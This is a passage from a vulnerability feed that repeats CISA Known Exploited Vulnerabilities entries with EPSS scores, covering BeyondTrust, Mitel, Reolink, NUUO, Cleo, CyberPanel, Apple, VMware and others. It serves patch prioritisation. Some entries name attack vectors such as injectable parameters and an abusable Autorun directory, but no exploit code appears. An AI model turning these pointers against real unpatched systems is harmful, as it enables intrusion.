Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 13, 2025; federal due date Feb 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) OS Command Injection Vulnerability https://kevwire.com/record/CVE-2024-12686 BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) OS Command Injection Vulnerability (Jan 13, 2025). BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) contain an OS command injection vulnerability that can be exploited by an attacker with existing administrative privileges to upload a malicious file. Successful exploitation of this vulnerability can allow a remote attacker to execute underlying operating system commands within the context of the site user. EPSS 32.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-12686&date=2026-10-25). Sources: CISA KEV entry CVE-2024-12686: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-12686&date=2026-10-25 CISA added this entry on 2025-01-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 13, 2025; federal due date Feb 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle WebLogic Server Unspecified Vulnerability https://kevwire.com/record/CVE-2020-2883 Oracle WebLogic Server Unspecified Vulnerability (Jan 7, 2025). Oracle WebLogic Server, a product within the Fusion Middleware suite, contains an unspecified vulnerability exploitable by an unauthenticated attacker with network access via IIOP or T3. EPSS 94.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2883&date=2026-10-25). Sources: CISA KEV entry CVE-2020-2883: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2883&date=2026-10-25 CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 7, 2025; federal due date Jan 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mitel MiCollab Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-55550 Mitel MiCollab Path Traversal Vulnerability (Jan 7, 2025). Mitel MiCollab contains a path traversal vulnerability that could allow an authenticated attacker with administrative privileges to read local files within the system due to insufficient input sanitization. This vulnerability can be chained with CVE-2024-41713, which allows an unauthenticated, remote attacker to read arbitrary files on the server. EPSS 38.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-55550&date=2026-10-25). Sources: CISA KEV entry CVE-2024-55550: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-55550&date=2026-10-25 CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 7, 2025; federal due date Jan 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mitel MiCollab Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-41713 Mitel MiCollab Path Traversal Vulnerability (Jan 7, 2025). Mitel MiCollab contains a path traversal vulnerability that could allow an attacker to gain unauthorized and unauthenticated access. This vulnerability can be chained with CVE-2024-55550, which allows an unauthenticated, remote attacker to read arbitrary files on the server. EPSS 97.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-41713&date=2026-10-25). Sources: CISA KEV entry CVE-2024-41713: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-41713&date=2026-10-25 CISA added this entry on 2025-01-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Jan 7, 2025; federal due date Jan 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Malicious DNS Packet Vulnerability https://kevwire.com/record/CVE-2024-3393 Palo Alto Networks PAN-OS Malicious DNS Packet Vulnerability (Dec 30, 2024). Palo Alto Networks PAN-OS contains a vulnerability in parsing and logging malicious DNS packets in the DNS Security feature that, when exploited, allows an unauthenticated attacker to remotely reboot the firewall. Repeated attempts to trigger this condition will cause the firewall to enter maintenance mode. EPSS 29.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-3393&date=2026-10-25). Sources: CISA KEV entry CVE-2024-3393: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-3393&date=2026-10-25 CISA added this entry on 2024-12-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 30, 2024; federal due date Jan 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Acclaim Systems USAHERDS Use of Hard-Coded Credentials Vulnerability https://kevwire.com/record/CVE-2021-44207 Acclaim Systems USAHERDS Use of Hard-Coded Credentials Vulnerability (Dec 23, 2024). Acclaim Systems USAHERDS contains a hard-coded credentials vulnerability that could allow an attacker to achieve remote code execution on the system that runs the application. The MachineKey must be obtained via a separate vulnerability or other channel. EPSS 17.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-44207&date=2026-10-25). Sources: CISA KEV entry CVE-2021-44207: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-44207&date=2026-10-25 CISA added this entry on 2024-12-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Please contact the product developer for support and vulnerability mitigation. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 23, 2024; federal due date Jan 13, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) Command Injection Vulnerability https://kevwire.com/record/CVE-2024-12356 BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) Command Injection Vulnerability (Dec 19, 2024). BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) contain a command injection vulnerability, which can allow an unauthenticated attacker to inject commands that are run as a site user. EPSS 87.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-12356&date=2026-10-25). Sources: CISA KEV entry CVE-2024-12356: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-12356&date=2026-10-25 CISA added this entry on 2024-12-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 19, 2024; federal due date Dec 27, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Reolink RLC-410W IP Camera OS Command Injection Vulnerability https://kevwire.com/record/CVE-2021-40407 Reolink RLC-410W IP Camera OS Command Injection Vulnerability (Dec 18, 2024). Reolink RLC-410W IP cameras contain an authenticated OS command injection vulnerability in the device network settings functionality. EPSS 47.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40407&date=2026-10-25). Sources: CISA KEV entry CVE-2021-40407: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40407&date=2026-10-25 CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 18, 2024; federal due date Jan 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Reolink Multiple IP Cameras OS Command Injection Vulnerability https://kevwire.com/record/CVE-2019-11001 Reolink Multiple IP Cameras OS Command Injection Vulnerability (Dec 18, 2024). Reolink RLC-410W, C1 Pro, C2 Pro, RLC-422W, and RLC-511W IP cameras contain an authenticated OS command injection vulnerability. This vulnerability allows an authenticated admin to use the "TestEmail" functionality to inject and run OS commands as root. EPSS 37.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11001&date=2026-10-25). Sources: CISA KEV entry CVE-2019-11001: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11001&date=2026-10-25 CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization if a current mitigation is unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 18, 2024; federal due date Jan 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NUUO NVRmini2 Devices Missing Authentication Vulnerability https://kevwire.com/record/CVE-2022-23227 NUUO NVRmini2 Devices Missing Authentication Vulnerability (Dec 18, 2024). NUUO NVRmini2 devices contain a missing authentication vulnerability that allows an unauthenticated attacker to upload an encrypted TAR archive, which can be abused to add arbitrary users. EPSS 48.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-23227&date=2026-10-25). Sources: CISA KEV entry CVE-2022-23227: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-23227&date=2026-10-25 CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 18, 2024; federal due date Jan 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NUUO NVRmini Devices OS Command Injection Vulnerability https://kevwire.com/record/CVE-2018-14933 NUUO NVRmini Devices OS Command Injection Vulnerability (Dec 18, 2024). NUUO NVRmini devices contain an OS command injection vulnerability. This vulnerability allows remote command execution via shell metacharacters in the uploaddir parameter for a writeuploaddir command. EPSS 94.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-14933&date=2026-10-25). Sources: CISA KEV entry CVE-2018-14933: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-14933&date=2026-10-25 CISA added this entry on 2024-12-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue utilization of the product. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 18, 2024; federal due date Jan 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cleo Multiple Products Unauthenticated File Upload Vulnerability https://kevwire.com/record/CVE-2024-55956 Cleo Multiple Products Unauthenticated File Upload Vulnerability (Dec 17, 2024). Cleo Harmony, VLTrader, and LexiCom, which are managed file transfer products, contain an unrestricted file upload vulnerability that could allow an unauthenticated user to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory. EPSS 94.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-55956&date=2026-10-25). Sources: CISA KEV entry CVE-2024-55956: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-55956&date=2026-10-25 CISA added this entry on 2024-12-17. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 17, 2024; federal due date Jan 7, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel-Mode Driver Untrusted Pointer Dereference Vulnerability https://kevwire.com/record/CVE-2024-35250 Microsoft Windows Kernel-Mode Driver Untrusted Pointer Dereference Vulnerability (Dec 16, 2024). Microsoft Windows Kernel-Mode Driver contains an untrusted pointer dereference vulnerability that allows a local attacker to escalate privileges. EPSS 25.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-35250&date=2026-10-25). Sources: CISA KEV entry CVE-2024-35250: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-35250&date=2026-10-25 CISA added this entry on 2024-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 16, 2024; federal due date Jan 6, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Improper Access Control Vulnerability https://kevwire.com/record/CVE-2024-20767 Adobe ColdFusion Improper Access Control Vulnerability (Dec 16, 2024). Adobe ColdFusion contains an improper access control vulnerability that could allow an attacker to access or modify restricted files via an internet-exposed admin panel. EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20767&date=2026-10-25). Sources: CISA KEV entry CVE-2024-20767: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20767&date=2026-10-25 CISA added this entry on 2024-12-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 16, 2024; federal due date Jan 6, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cleo Multiple Products Unrestricted File Upload Vulnerability https://kevwire.com/record/CVE-2024-50623 Cleo Multiple Products Unrestricted File Upload Vulnerability (Dec 13, 2024). Cleo Harmony, VLTrader, and LexiCom, which are managed file transfer products, contain an unrestricted file upload and download vulnerability that can lead to remote code execution with elevated privileges. EPSS 98.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-50623&date=2026-10-25). Sources: CISA KEV entry CVE-2024-50623: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-50623&date=2026-10-25 CISA added this entry on 2024-12-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 13, 2024; federal due date Jan 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2024-49138 Microsoft Windows Common Log File System (CLFS) Driver Heap-Based Buffer Overflow Vulnerability (Dec 10, 2024). Microsoft Windows Common Log File System (CLFS) driver contains a heap-based buffer overflow vulnerability that allows a local attacker to escalate privileges. EPSS 26.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-49138&date=2026-10-25). Sources: CISA KEV entry CVE-2024-49138: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-49138&date=2026-10-25 CISA added this entry on 2024-12-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 10, 2024; federal due date Dec 31, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### CyberPanel Incorrect Default Permissions Vulnerability https://kevwire.com/record/CVE-2024-51378 CyberPanel Incorrect Default Permissions Vulnerability (Dec 4, 2024). CyberPanel contains an incorrect default permissions vulnerability that allows for authentication bypass and the execution of arbitrary commands using shell metacharacters in the statusfile property. EPSS 94.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-51378&date=2026-10-25). Sources: CISA KEV entry CVE-2024-51378: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-51378&date=2026-10-25 CISA added this entry on 2024-12-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 4, 2024; federal due date Dec 25, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel Multiple Firewalls Path Traversal Vulnerability https://kevwire.com/record/CVE-2024-11667 Zyxel Multiple Firewalls Path Traversal Vulnerability (Dec 3, 2024). Multiple Zyxel firewalls contain a path traversal vulnerability in the web management interface that could allow an attacker to download or upload files via a crafted URL. EPSS 2.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-11667&date=2026-10-25). Sources: CISA KEV entry CVE-2024-11667: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-11667&date=2026-10-25 CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 3, 2024; federal due date Dec 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### ProjectSend Improper Authentication Vulnerability https://kevwire.com/record/CVE-2024-11680 ProjectSend Improper Authentication Vulnerability (Dec 3, 2024). ProjectSend contains an improper authentication vulnerability that allows a remote, unauthenticated attacker to enable unauthorized modification of the application's configuration via crafted HTTP requests to options.php. Successful exploitation allows attackers to create accounts, upload webshells, and embed malicious JavaScript. EPSS 91.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-11680&date=2026-10-25). Sources: CISA KEV entry CVE-2024-11680: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-11680&date=2026-10-25 CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 3, 2024; federal due date Dec 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### North Grid Proself Improper Restriction of XML External Entity (XXE) Reference Vulnerability https://kevwire.com/record/CVE-2023-45727 North Grid Proself Improper Restriction of XML External Entity (XXE) Reference Vulnerability (Dec 3, 2024). North Grid Proself Enterprise/Standard, Gateway, and Mail Sanitize contain an improper restriction of XML External Entity (XXE) reference vulnerability, which could allow a remote, unauthenticated attacker to conduct an XXE attack. EPSS 4.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-45727&date=2026-10-25). Sources: CISA KEV entry CVE-2023-45727: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-45727&date=2026-10-25 CISA added this entry on 2024-12-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Dec 3, 2024; federal due date Dec 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Array Networks AG and vxAG ArrayOS Missing Authentication for Critical Function Vulnerability https://kevwire.com/record/CVE-2023-28461 Array Networks AG and vxAG ArrayOS Missing Authentication for Critical Function Vulnerability (Nov 25, 2024). Array Networks AG and vxAG ArrayOS contain a missing authentication for critical function vulnerability that allows an attacker to read local files and execute code on the SSL VPN gateway. EPSS 68.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-28461&date=2026-10-25). Sources: CISA KEV entry CVE-2023-28461: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-28461&date=2026-10-25 CISA added this entry on 2024-11-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 25, 2024; federal due date Dec 16, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Agile Product Lifecycle Management (PLM) Incorrect Authorization Vulnerability https://kevwire.com/record/CVE-2024-21287 Oracle Agile Product Lifecycle Management (PLM) Incorrect Authorization Vulnerability (Nov 21, 2024). Oracle Agile Product Lifecycle Management (PLM) contains an incorrect authorization vulnerability in the Process Extension component of the Software Development Kit. Successful exploitation of this vulnerability may result in unauthenticated file disclosure. EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-21287&date=2026-10-25). Sources: CISA KEV entry CVE-2024-21287: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-21287&date=2026-10-25 CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 21, 2024; federal due date Dec 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Cross-Site Scripting (XSS) Vulnerability https://kevwire.com/record/CVE-2024-44309 Apple Multiple Products Cross-Site Scripting (XSS) Vulnerability (Nov 21, 2024). Apple iOS, macOS, and other Apple products contain an unspecified vulnerability when processing maliciously crafted web content that may lead to a cross-site scripting (XSS) attack. EPSS 22.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-44309&date=2026-10-25). Sources: CISA KEV entry CVE-2024-44309: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-44309&date=2026-10-25 CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 21, 2024; federal due date Dec 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Apple Multiple Products Code Execution Vulnerability https://kevwire.com/record/CVE-2024-44308 Apple Multiple Products Code Execution Vulnerability (Nov 21, 2024). Apple iOS, macOS, and other Apple products contain an unspecified vulnerability when processing maliciously crafted web content that may lead to arbitrary code execution. EPSS 10.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-44308&date=2026-10-25). Sources: CISA KEV entry CVE-2024-44308: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-44308&date=2026-10-25 CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Nov 21, 2024; federal due date Dec 12, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware vCenter Server Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2024-38813 VMware vCenter Server Privilege Escalation Vulnerability (Nov 20, 2024). VMware vCenter contains an improper check for dropped privileges vulnerability. This vulnerability could allow an attacker with network access to the vCenter Server to escalate privileges to root by sending a specially crafted packet. EPSS 17.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-38813&date=2026-10-25). Sources: CISA KEV entry CVE-2024-38813: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-38813&date=2026-10-25 CISA added this entry on 2024-11-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply 